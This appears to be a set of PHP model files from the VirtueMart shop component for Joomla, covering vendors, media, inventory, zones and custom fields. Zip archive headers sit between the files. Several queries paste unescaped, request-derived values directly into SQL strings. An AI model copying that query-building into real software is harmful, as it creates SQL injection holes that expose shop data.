`#__virtuemart_countries` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($db->loadResult()){ //Test if country has states $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($res = $db->loadResult()){ vmdebug('testStateCountry country has states ',$res); //Test if virtuemart_state_id fits to virtuemart_country_id $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `virtuemart_state_id`="'.$stateId.'" and `published`="1"'; $db->setQuery($q); if($db->loadResult()){ return true; } else { //There is a country, but the state does not exist or is unlisted return false; } } else { vmdebug('testStateCountry country has no states listed'); //This country has no states listed return true; } } else { //The given country does not exist, this can happen, when no country was chosen, which maybe valid. return true; } } } // pure php no closing tagPKB\#o,,models/index.htmlnuW+APKB\M models/inventory.phpnuW+AsetMainTable('products'); $this->addvalidOrderingFieldName(array('product_name','product_sku','product_in_stock','product_price','product_weight','published')); } /** * Select the products to list on the product list page * @author Max Milbers */ public function getInventory() { $select = ' `#__virtuemart_products`.`virtuemart_product_id`, `#__virtuemart_products`.`product_parent_id`, `product_name`, `product_sku`, `product_in_stock`, `product_weight`, `published`, `product_price`'; $joinedTables = 'FROM `#__virtuemart_products` LEFT JOIN `#__virtuemart_product_prices` ON `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_prices`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_shoppergroups` ON `#__virtuemart_product_prices`.`virtuemart_shoppergroup_id` = `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`'; return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$this->getInventoryFilter(),'',$this->_getOrdering()); } /** * Collect the filters for the query * @author RolandD * @author Max Milbers */ private function getInventoryFilter() { /* Check some filters */ $filters = array(); if ($search = JRequest::getVar('filter_inventory', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $filters[] = '`#__virtuemart_products`.`product_name` LIKE '.$search; } if (JRequest::getInt('stockfilter', 0) == 1){ $filters[] = '`#__virtuemart_products`.`product_in_stock` > 0'; } if ($catId = JRequest::getInt('virtuemart_category_id', 0) > 0){ $filters[] = '`#__virtuemart_categories`.`virtuemart_category_id` = '.$catId; } $filters[] = '(`#__virtuemart_shoppergroups`.`default` = 1 OR `#__virtuemart_shoppergroups`.`default` is NULL)'; return ' WHERE '.implode(' AND ', $filters).$this->_getOrdering(); } } // pure php no closing tagPKB\*%models/worldzones.phpnuW+AsetMainTable('worldzones'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipmentZone() { $db = JFactory::getDBO(); if (empty($this->_data)) { $query = 'SELECT * '; $query .= 'FROM `#__virtuemart_worldzones` '; $query .= 'WHERE `virtuemart_worldzone_id` = ' . (int)$this->_id; $db->setQuery($query); $this->_data = $db->loadObject(); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Retrieve a list of zone ids and zone names for use in a HTML select list. * * @author RickG */ function getWorldZonesSelectList() { $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_worldzone_id`, `zone_name` '; $query .= 'FROM `#__virtuemart_worldzones`'; $db->setQuery($query); return $db->loadObjectList(); } } // pure php no closing tagPKB\,A2A2models/vendor.phpnuW+AsetId (1); } $this->setMainTable ('vendors'); } /** * name: getLoggedVendor * Checks which $vendorId has the just logged in user. * * @author Max Milbers * @param @param $ownerOnly returns only an id if the vendorOwner is logged in (dont get confused with storeowner) * returns int $vendorId */ static function getLoggedVendor ($ownerOnly = TRUE) { $user = JFactory::getUser (); $userId = $user->id; if (isset($userId)) { $vendorId = self::getVendorId ('user', $userId, $ownerOnly); return $vendorId; } else { JError::raiseNotice (1, '$virtuemart_user_id empty, no user logged in'); return 0; } } /** * Retrieve the vendor details from the database. * * @author Max Milbers * @return object Vendor details */ function getVendor ($vendor_id = NULL) { if ($vendor_id) { $this->_id = $vendor_id; } if (empty($this->_data)) { $this->_data = $this->getTable ('vendors'); $this->_data->load ($this->_id); // vmdebug('getVendor',$this->_id,$this->_data); // Convert ; separated string into array if ($this->_data->vendor_accepted_currencies) { $this->_data->vendor_accepted_currencies = explode (',', $this->_data->vendor_accepted_currencies); } else { $this->_data->vendor_accepted_currencies = array(); } //Todo, check this construction $xrefTable = $this->getTable ('vendor_medias'); $this->_data->virtuemart_media_id = $xrefTable->load ($this->_id); } return $this->_data; } /** * Retrieve a list of vendors * todo only names are needed here, maybe it should be enhanced (loading object list is slow) * todo add possibility to load without limit * * @author RickG * @author Max Milbers * @return object List of vendors */ public function getVendors () { $this->setId (0); //This is important ! notice by Max Milbers $query = 'SELECT * FROM `#__virtuemart_vendors_' . VMLANG . '` as l JOIN `#__virtuemart_vendors` as v using (`virtuemart_vendor_id`)'; $query .= ' ORDER BY l.`virtuemart_vendor_id`'; $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); return $this->_data; } /** * Find the user id given a vendor id * * @author Max Milbers * @param int $virtuemart_vendor_id * @return int $virtuemart_user_id */ static function getUserIdByVendorId ($vendorId) { //this function is used static, needs its own db if (empty($vendorId)) { return; } else { $db = JFactory::getDBO (); $query = 'SELECT `virtuemart_user_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_vendor_id`=' . (int)$vendorId; $db->setQuery ($query); $result = $db->loadResult (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('getUserIdByVendorId ' . $err, 'Failed to retrieve user id by vendor'); } return (isset($result) ? $result : 0); } } /** * Bind the post data to the vendor table and save it * This function DOES NOT safe information which is in the vmusers or vm_user_info table * It only stores the stuff into the vendor table * * @author RickG * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ function store (&$data) { JPluginHelper::importPlugin ('vmvendor'); $dispatcher = JDispatcher::getInstance (); $plg_datas = $dispatcher->trigger ('plgVmOnVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } $oldVendorId = $data['virtuemart_vendor_id']; $table = $this->getTable ('vendors'); /* if(!$table->checkDataContainsTableFields($data)){ $app = JFactory::getApplication(); //$app->enqueueMessage('Data contains no Info for vendor, storing not needed'); return $this->_id; }*/ // Store multiple selectlist entries as a ; separated string if (array_key_exists ('vendor_accepted_currencies', $data) && is_array ($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode (',', $data['vendor_accepted_currencies']); } $table->bindChecknStore ($data); $errors = $table->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('store vendor', $error); } //set vendormodel id to the lastinserted one // $dbv = $table->getDBO(); // if(empty($this->_id)) $this->_id = $dbv->insertid(); if (empty($this->_id)) { $data['virtuemart_vendor_id'] = $this->_id = $table->virtuemart_vendor_id; } if ($this->_id != $oldVendorId) { vmdebug('Developer notice, tried to update vendor xref should not appear in singlestore $oldVendorId = '.$oldVendorId.' newId = '.$this->_id); //update user table $usertable = $this->getTable ('vmusers'); // $vendorsUserData =$usertable->load($this->_id); // $vendorsUserData =$usertable->load($data['virtuemart_user_id']); // $vendorsUserData->virtuemart_vendor_id = $virtuemart_vendor_id; //$vmusersData = array('virtuemart_user_id'=>$data['virtuemart_user_id'],'user_is_vendor'=>1,'virtuemart_vendor_id'=>$virtuemart_vendor_id,'customer_number'=>$data['customer_number'],'perms'=>$data['perms']); $usertable->bindChecknStore ($data, TRUE); $errors = $usertable->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('Store vendor ' . $error); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'vendor'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } $plg_datas = $dispatcher->trigger ('plgVmAfterVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } return $this->_id; } /** * Get the vendor specific currency * * @author Oscar van Eijk * @param $_vendorId Vendor ID * @return string Currency code */ static $_vendorCurrencies = array(); static function getVendorCurrency ($_vendorId) { if(!isset(self::$_vendorCurrencies[$_vendorId])){ $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_currencies` AS c , `#__virtuemart_vendors` AS v WHERE v.virtuemart_vendor_id = ' . (int)$_vendorId . ' AND v.vendor_currency = c.virtuemart_currency_id'; $db->setQuery ($q); self::$_vendorCurrencies[$_vendorId] = $db->loadObject (); } return self::$_vendorCurrencies[$_vendorId]; } /** * Retrieve a lost of vendor objects * * @author Oscar van Eijk * @return Array with all Vendor objects */ function getVendorCategories () { $_q = 'SELECT * FROM `#__vm_vendor_category`'; $this->_db->setQuery ($_q); return $this->_db->loadObjectList (); } function getUserIdByOrderId ($virtuemart_order_id) { if (empty ($virtuemart_order_id)) { return 0; } $virtuemart_order_id = (int)$virtuemart_order_id; $q = "SELECT `virtuemart_user_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`='.$virtuemart_order_id'"; // $db->query( $q ); $this->_db->setQuery ($q); // if($db->next_record()){ if ($this->_db->query ()) { // $virtuemart_user_id = $db->f('virtuemart_user_id'); return $this->_db->loadResult (); } else { JError::raiseNotice (1, 'Error in DB $virtuemart_order_id ' . $virtuemart_order_id . ' dont have a virtuemart_user_id'); return 0; } } /** * Gets the vendorId by user Id mapped by table auth_user_vendor or by the order item * Assigned users cannot change storeinformations * ownerOnly = false should be used for users who are assigned to a vendor * for administrative jobs like execution of orders or managing products * Changing of vendorinformation should ONLY be possible by the Mainvendor who is in charge * * @author by Max Milbers * @author RolandD * @param string $type Where the vendor ID should be taken from * @param mixed $value Whatever value the vendor ID should be filtered on * @return int Vendor ID */ static public function getVendorId ($type, $value, $ownerOnly = TRUE) { if (empty($value)) { return 0; } //sanitize input params $value = (int)$value; //static call used, so we need our own db instance $db = JFactory::getDBO (); switch ($type) { case 'order': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_order_items WHERE virtuemart_order_id=' . $value; break; case 'user': if ($ownerOnly) { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` LEFT JOIN `#__virtuemart_userinfos` `u` ON (au.virtuemart_user_id = u.virtuemart_user_id) WHERE `u`.`virtuemart_user_id`=' . $value; } else { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $value . '" '; } break; case 'product': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_products WHERE virtuemart_product_id=' . $value; break; } $db->setQuery ($q); $virtuemart_vendor_id = $db->loadResult (); if ($virtuemart_vendor_id) { return $virtuemart_vendor_id; } else { return 0; // if($type!='user'){ // return 0; // } else { // JError::raiseNotice(1, 'No virtuemart_vendor_id found for '.$value.' on '.$type.' check.'); // return 0; // } } } /** * This function gives back the storename for the given vendor. * * @author Max Milbers */ public function getVendorName ($virtuemart_vendor_id = 1) { $query = 'SELECT `vendor_store_name` FROM `#__virtuemart_vendors_' . VMLANG . '` WHERE `virtuemart_vendor_id` = "' . (int)$virtuemart_vendor_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } /** * This function gives back the email for the given vendor. * * @author Max Milbers */ public function getVendorEmail ($virtuemart_vendor_id) { $virtuemart_user_id = self::getUserIdByVendorId ((int)$virtuemart_vendor_id); if (!empty($virtuemart_user_id)) { $query = 'SELECT `email` FROM `#__users` WHERE `id` = "' . $virtuemart_user_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } return ''; } public function getVendorAdressBT ($virtuemart_vendor_id) { $userId = self::getUserIdByVendorId ($virtuemart_vendor_id); $usermodel = VmModel::getModel ('user'); // $usermodel->setId($userId); $virtuemart_userinfo_id = $usermodel->getBTuserinfo_id ($userId); $vendorAddressBt = $this->getTable ('userinfos'); $vendorAddressBt->load ($virtuemart_userinfo_id); return $vendorAddressBt; } private $_vendorFields = FALSE; public function getVendorAddressFields(){ if(!$this->_vendorFields){ $userId = VirtueMartModelVendor::getUserIdByVendorId ($this->_id); $userModel = VmModel::getModel ('user'); $virtuemart_userinfo_id = $userModel->getBTuserinfo_id ($userId); // this is needed to set the correct user id for the vendor when the user is logged $userModel->getVendor($this->_id,FALSE); $vendorFieldsArray = $userModel->getUserInfoInUserFields ('mail', 'BT', $virtuemart_userinfo_id, FALSE, TRUE); $this->_vendorFields = $vendorFieldsArray[$virtuemart_userinfo_id]; } return $this->_vendorFields; } } PKB\$k88models/media.phpnuW+AsetMainTable('medias'); $this->addvalidOrderingFieldName(array('ordering')); $this->_selectedOrdering = 'created_on'; } /** * Gets a single media by virtuemart_media_id * . * @param string $type * @param string $mime mime type of file, use for exampel image * @return mediaobject */ function getFile($type=0,$mime=0){ if (empty($this->_data)) { $data = $this->getTable('medias'); $data->load((int)$this->_id); if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $this->_data = VmMediaHandler::createMedia($data,$type,$mime); } return $this->_data; } /** * Kind of getFiles, it creates a bunch of image objects by an array of virtuemart_media_id * * @author Max Milbers * @param int $virtuemart_media_id * @param string $type * @param string $mime */ function createMediaByIds($virtuemart_media_ids,$type='',$mime='',$limit =0){ if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $app = JFactory::getApplication(); $medias = array(); static $_medias = array(); if(!empty($virtuemart_media_ids)){ if(!is_array($virtuemart_media_ids)) $virtuemart_media_ids = explode(',',$virtuemart_media_ids); //Lets delete empty ids //$virtuemart_media_ids = array_diff($virtuemart_media_ids,array('0','')); $data = $this->getTable('medias'); foreach($virtuemart_media_ids as $k => $virtuemart_media_id){ if($limit!==0 and $k==$limit and !empty($medias)) break; // never break if $limit = 0 if(is_object($virtuemart_media_id)){ $id = $virtuemart_media_id->virtuemart_media_id; } else { $id = $virtuemart_media_id; } if(!empty($id)){ if (!array_key_exists ($id, $_medias)) { $data->load((int)$id); if($app->isSite()){ if($data->published==0){ $_medias[$id] = $this->createVoidMedia($type,$mime); continue; } } $file_type = empty($data->file_type)? $type:$data->file_type; $mime = empty($data->file_mimetype)? $mime:$data->file_mimetype; if($app->isSite()){ $selectedLangue = explode(",", $data->file_lang); //vmdebug('selectedLangue',$selectedLangue); $lang = JFactory::getLanguage(); if(in_array($lang->getTag(), $selectedLangue) || $data->file_lang == '') { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } else { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } if (!empty($_medias[$id])) { $medias[] = $_medias[$id]; } } } } if(empty($medias)){ $medias[] = $this->createVoidMedia($type,$mime); } return $medias; } function createVoidMedia($type,$mime){ static $voidMedia = null; if(empty($voidMedia)){ $data = $this->getTable('medias'); //Create empty data $data->virtuemart_media_id = 0; $data->virtuemart_vendor_id = 0; $data->file_title = ''; $data->file_description = ''; $data->file_meta = ''; $data->file_mimetype = ''; $data->file_type = ''; $data->file_url = ''; $data->file_url_thumb = ''; $data->published = 0; $data->file_is_downloadable = 0; $data->file_is_forSale = 0; $data->file_is_product_image = 0; $data->shared = 0; $data->file_params = 0; $data->file_lang = ''; $voidMedia = VmMediaHandler::createMedia($data,$type,$mime); } return $voidMedia; } /** * Retrieve a list of files from the database. This is meant only for backend use * * @author Max Milbers * @param boolean $onlyPublished True to only retrieve the published files, false otherwise * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of media objects */ function getFiles($onlyPublished=false, $noLimit=false, $virtuemart_product_id=null, $cat_id=null, $where=array(),$nbr=false){ $this->_noLimit = $noLimit; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $vendorId = 1; //TODO set to logged user or requested vendorId, not easy later $query = ''; $selectFields = array(); $joinTables = array(); $joinedTables = ''; $whereItems= array(); $groupBy =''; $orderByTable = ''; if(!empty($virtuemart_product_id)){ $mainTable = '`#__virtuemart_product_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id '; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_product_medias`.`virtuemart_media_id` and `virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $whereItems[] = '`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_product_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else if(!empty($cat_id)){ $mainTable = '`#__virtuemart_category_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id'; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_category_medias`.`virtuemart_media_id` and `virtuemart_category_id` = "'.$cat_id.'"'; $whereItems[] = '`virtuemart_category_id` = "'.$cat_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_category_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else { $mainTable = '`#__virtuemart_medias`'; $selectFields[] = ' `virtuemart_media_id` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ){ $whereItems[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } } if ($onlyPublished) { $whereItems[] = '`#__virtuemart_medias`.`published` = 1'; } if ($search = JRequest::getString('searchMedia', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $where[] = ' (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.' OR `file_url` LIKE '.$search.' OR `file_url_thumb` LIKE '.$search.' ) '; } if ($type = JRequest::getWord('search_type')) { $where[] = 'file_type = "'.$type.'" ' ; } if ($role = JRequest::getWord('search_role')) { if ($role == "file_is_downloadable") { $where[] = '`file_is_downloadable` = 1'; $where[] = '`file_is_forSale` = 0'; } elseif ($role == "file_is_forSale") { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 1'; } else { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 0'; } } if (!empty($where)) $whereItems = array_merge($whereItems,$where); if(count($whereItems)>0){ $whereString = ' WHERE '.implode(' AND ', $whereItems ); } else { $whereString = ' '; } $orderBy = $this->_getOrdering($orderByTable);# if(count($selectFields)>0){ $select = implode(', ', $selectFields ).' FROM '.$mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if(count($joinTables)>0){ foreach($joinTables as $table){ $joinedTables .= $table; } } } else { vmError('No select fields given in getFiles','No select fields given'); return false; } $this->_data = $this->exeSortSearchListQuery(2, $select, $joinedTables, $whereString, $groupBy, $orderBy,'',$nbr); if(empty($this->_data)){ return array(); } if( !is_array($this->_data)){ $this->_data = explode(',',$this->_data); } $this->_data = $this->createMediaByIds($this->_data); return $this->_data; } /** * This function stores a media and updates then the refered table * * @author Max Milbers * @author Patrick Kohl * @param array $data Data from a from * @param string $type type of the media category,product,manufacturer,shop, ... */ function storeMedia($data,$type){ // vmdebug('my data in media to store start',$data['virtuemart_media_id']); JRequest::checkToken() or jexit( 'Invalid Token, while trying to save media' ); if(empty($data['media_action'])){ $data['media_action'] = 'none'; } //vmdebug('storeMedia',$data); //the active media id is not empty, so there should be something done with it //if( (!empty($data['active_media_id']) && !empty($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ if( (!empty($data['active_media_id']) and isset($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ $oldIds = $data['virtuemart_media_id']; $data['file_type'] = $type; //$data['virtuemart_media_id'] = (int)$data['active_media_id']; //done within the function now $this -> setId($data['active_media_id']); $virtuemart_media_id = $this->store($data,$type); //added by Mike, Mike why did you add this? This function storeMedia is extremely nasty $this->setId($virtuemart_media_id); if(!empty($oldIds)){ if(!is_array($oldIds)) $oldIds = array($oldIds); if(!empty($data['mediaordering']) && $data['media_action']=='upload'){ // array_push($data['mediaordering'],count($data['mediaordering'])+1); $data['mediaordering'][$virtuemart_media_id] = count($data['mediaordering']); } $virtuemart_media_ids = array_merge( (array)$virtuemart_media_id,$oldIds); // vmdebug('merged old and new',$virtuemart_media_ids); $data['virtuemart_media_id'] = array_unique($virtuemart_media_ids); } else { $data['virtuemart_media_id'] = $virtuemart_media_id; } } if(!empty($data['mediaordering'])){ asort($data['mediaordering']); $sortedMediaIds = array(); foreach($data['mediaordering'] as $k=>$v){ $sortedMediaIds[] = $k; } // vmdebug('merging old and new',$oldIds,$virtuemart_media_id); $data['virtuemart_media_id'] = $sortedMediaIds; } // vmdebug('my data in media to store',$data['virtuemart_media_id'],$data['mediaordering']); //set the relations $table = $this->getTable($type.'_medias'); // Bind the form fields to the country table $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_media_id; } /** * Store an entry of a mediaItem, this means in end effect every media file in the shop * images, videos, pdf, zips, exe, ... * * @author Max Milbers */ public function store(&$data,$type) { VmConfig::loadJLang('com_virtuemart_media'); //if(empty($data['media_action'])) return $table->virtuemart_media_id; if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $table = $this->getTable('medias'); /* $a = trim($data['file_url_thumb']); $b = trim(JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$data['file_url_thumb'])); vmdebug(' the miese Assi',$a,$b); if( $a == $b ){ vmdebug('Unset the miese Assi'); unset($data['file_url_thumb']); }*/ //unset($data['file_url_thumb']); $data['virtuemart_media_id'] = $this->getId(); $table->bind($data); $data = VmMediaHandler::prepareStoreMedia($table,$data,$type); //this does not store the media, it process the actions and prepares data // workarround for media published and product published two fields in one form. $tmpPublished = false; if (isset($data['media_published'])){ $tmpPublished = $data['published']; $data['published'] = $data['media_published']; //vmdebug('$data["published"]',$data['published']); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError('store medias '.$error); } if($tmpPublished){ $data['published'] = $tmpPublished; } // vmdebug('store media $table->virtuemart_media_id '.$table->virtuemart_media_id); return $table->virtuemart_media_id; } public function attachImages($objects,$type,$mime='',$limit=0){ if(!empty($objects)){ if(!is_array($objects)) $objects = array($objects); foreach($objects as $k => $object){ if(empty($object->virtuemart_media_id)) $virtuemart_media_id = null; else $virtuemart_media_id = $object->virtuemart_media_id; $object->images = $this->createMediaByIds($virtuemart_media_id,$type,$mime,$limit); //This should not be used in fact. It is for legacy reasons there. if(isset($object->images[0]->file_url_thumb)){ $object->file_url_thumb = $object->images[0]->file_url_thumb; $object->file_url = $object->images[0]->file_url; } } } } } // pure php no closing tag PKB\l$9!models/manufacturercategories.phpnuW+AsetMainTable('manufacturercategories'); $this->addvalidOrderingFieldName(array('mf_category_name')); $config=JFactory::getConfig(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * */ // function getManufacturerCategory(){ //// $db = JFactory::getDBO(); // if (empty($this->_data)) { // $this->_data = $this->getTable('manufacturercategories'); // $this->_data->load((int)$this->_id); // } //// print_r( $this->_db->_sql ); // if (!$this->_data) { // $this->_data = new stdClass(); // $this->_id = 0; // $this->_data = null; // } // return $this->_data; // } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($categoryIds) { $table = $this->getTable('manufacturercategories'); foreach($categoryIds as $categoryId) { if($table->checkManufacturer($categoryId)) { if (!$table->delete($categoryId)) { vmError($table->getError()); return false; } } else { vmError(get_class( $this ).'::remove '.$categoryId.' '.$table->getError()); return false; } } return true; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the published categories, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer categories objects */ function getManufacturerCategories($onlyPublished=false, $noLimit=false) { $this->_noLimit = $noLimit; $select = '* FROM `#__virtuemart_manufacturercategories_'.VMLANG.'` as l'; $joinedTables = ' JOIN `#__virtuemart_manufacturercategories` as mc using (`virtuemart_manufacturercategories_id`)'; $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_manufacturercategories`.`published` = 1'; } // $query .= ' ORDER BY `#__virtuemart_manufacturercategories`.`mf_category_name`'; $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; if ( JRequest::getCmd('view') == 'manufacturercategories') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by mf_category_name DESC'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$whereString,$joinedTables,$ordering); } /** * Build category filter * * @return object List of category to build filter select box */ function getCategoryFilter(){ $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_manufacturercategories_id` as `value`, `mf_category_name` as text' .' FROM #__virtuemart_manufacturercategories_'.VMLANG.'`'; $db->setQuery($query); $categoryFilter[] = JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY') .' -' ); $categoryFilter = array_merge($categoryFilter, (array)$db->loadObjectList()); return $categoryFilter; } } // pure php no closing tagPKB\W-:":"models/custom.phpnuW+AsetMainTable('customs'); $this->setToggleName('admin_only'); $this->setToggleName('is_hidden'); } /** * Gets a single custom by virtuemart_custom_id * . * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustom(){ if(empty($this->_data)){ // JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); $this->_data = $this->getTable('customs'); $this->_data->load($this->_id); $customfields = VmModel::getModel('Customfields'); $this->_data->field_types = $customfields->getField_types() ; // vmdebug('getCustom $data',$this->_data); if(!empty($this->_data->custom_jplugin_id)){ JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $varsToPushParam = $dispatcher->trigger('plgVmDeclarePluginParams',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id)); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsCustom',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id,&$this->_data)); } else { //Todo this is not working, because the custom is using custom_params, while the customfield is using custom_param ! //VirtueMartModelCustomfields::bindParameterableByFieldType($this->_data); } } return $this->_data; } /** * Retireve a list of customs from the database. This is meant only for backend use * * @author Kohl Patrick, Max Milbers * @return object List of custom objects */ function getCustoms($custom_parent_id,$search = false){ $query='* FROM `#__virtuemart_customs` WHERE field_type <> "R" AND field_type <> "Z" AND field_type <> "G" '; if($custom_parent_id){ $query .= 'AND `custom_parent_id` ='.(int)$custom_parent_id; } if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $query .= 'AND `custom_title` LIKE '.$search; } $datas = new stdClass(); $datas->items = $this->exeSortSearchListQuery(0, $query, '','',$this->_getOrdering()); $customfields = VmModel::getModel('Customfields'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $datas->field_types = $customfields->getField_types() ; foreach ($datas->items as $key => & $data) { if (!empty($data->custom_parent_id)) $data->custom_parent_title = $customfields->getCustomParentTitle($data->custom_parent_id); else { $data->custom_parent_title = '-' ; } if(!empty($datas->field_types[$data->field_type ])){ $data->field_type_display = vmText::_( $datas->field_types[$data->field_type ] ); } else { $data->field_type_display = 'not valid, delete this line'; vmError('The field with id '.$data->virtuemart_custom_id.' and title '.$data->custom_title.' is not longer valid, please delete it from the list'); } } $datas->customsSelect=$customfields->displayCustomSelection(); return $datas; } /** * Creates a clone of a given custom id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone($id){ $this->virtuemart_custom_id = $id; $row = $this->getTable('customs'); $row->load( $id ); $row->virtuemart_custom_id = 0; $row->custom_title = $row->custom_title.' Copy'; if (!$clone = $row->store()) { JError::raiseError(500, 'createClone '. $row->getError() ); } return $clone; } /* Save and delete from database * all Child product custom_fields relation * @ var $table : the xref table(eg. product,category ...) * @array $data : array of customfields * @int $id : The concerned id (eg. product_id) **/ public function saveChildCustomRelation($table,$datas) { JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; $customfieldIds = array(); // delete existings from modelXref and table customfields foreach ($datas as $child_id =>$fields) { $fields['virtuemart_'.$table.'_id']=$child_id; $this->_db->setQuery( 'DELETE PC FROM `#__virtuemart_'.$table.'_customfields` as `PC`, `#__virtuemart_customs` as `C` WHERE `PC`.`virtuemart_custom_id` = `C`.`virtuemart_custom_id` AND field_type="C" and virtuemart_'.$table.'_id ='.$child_id ); if(!$this->_db->query()){ vmError('Error in deleting child relation '); //.$this->_db->getQuery()); Dont give hackers too much info } $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } } } public function store(&$data){ if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } else { $data['virtuemart_vendor_id'] = (int) $data['virtuemart_vendor_id']; } // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { 